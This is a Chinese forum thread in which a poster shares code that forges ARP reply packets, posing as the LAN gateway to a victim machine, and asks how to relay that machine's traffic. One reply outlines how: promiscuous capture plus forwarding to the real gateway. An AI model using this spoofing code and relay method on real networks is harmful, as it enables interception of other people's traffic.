日期:2014-05-20  浏览次数:20844 次

ARP欺骗实现模拟网关
让局域网中的一台机器A访问外网时,数据包经过我的机器,把我的机器认为是网关。
填充arp包的代码:
  //物理帧头
  arp.SourceHwAddress = 我机器的MAC;
  arp.DestinationHwAddress = 受骗机器A的MAC;
  arp.EthernetProtocol = EthernetProtocols_Fields.ARP;

  //ARP帧
  arp.ARPHwType = 0x0001;
  arp.ARPProtocolType = 0x0800;
  arp.ARPHwLength = 6;
  arp.ARPProtocolLength = 4;
  arp.ARPOperation = 0x0002;
  arp.ARPSenderHwAddress = 我机器的MAC;
  arp.ARPSenderProtoAddress = 网关IP;
  arp.ARPTargetHwAddress = 受骗机器A的MAC;
  arp.ARPTargetProtoAddress = 受骗机器A的IP;
这样的话只能实现让机器A上不去网。
如何才能实现网关的效果啊?请前辈们指点!!!


------解决方案--------------------
沙发 不懂 帮顶
------解决方案--------------------
没做过,听高手的回答
------解决方案--------------------
探讨
没做过,听高手的回答

------解决方案--------------------
探讨
没做过,听高手的回答

------解决方案--------------------
探讨
没做过,听高手的回答

------解决方案--------------------
在程序中把你的网络设备设为混杂模式,这样就能接收到网络层收到的所有数据,然后对IP包进行过滤,把所有对真实网关请求的包重组后发给网关,把真实网关返回的数据再正确发回给先前请求的机器,就相当于你程序自己实现了一个NAT。
------解决方案--------------------
高手指点。
------解决方案--------------------
没研究过ARP
------解决方案--------------------
学习
------解决方案--------------------
沒用過,想知道,幫你頂
------解决方案--------------------
学习
------解决方案--------------------
嗅探 ?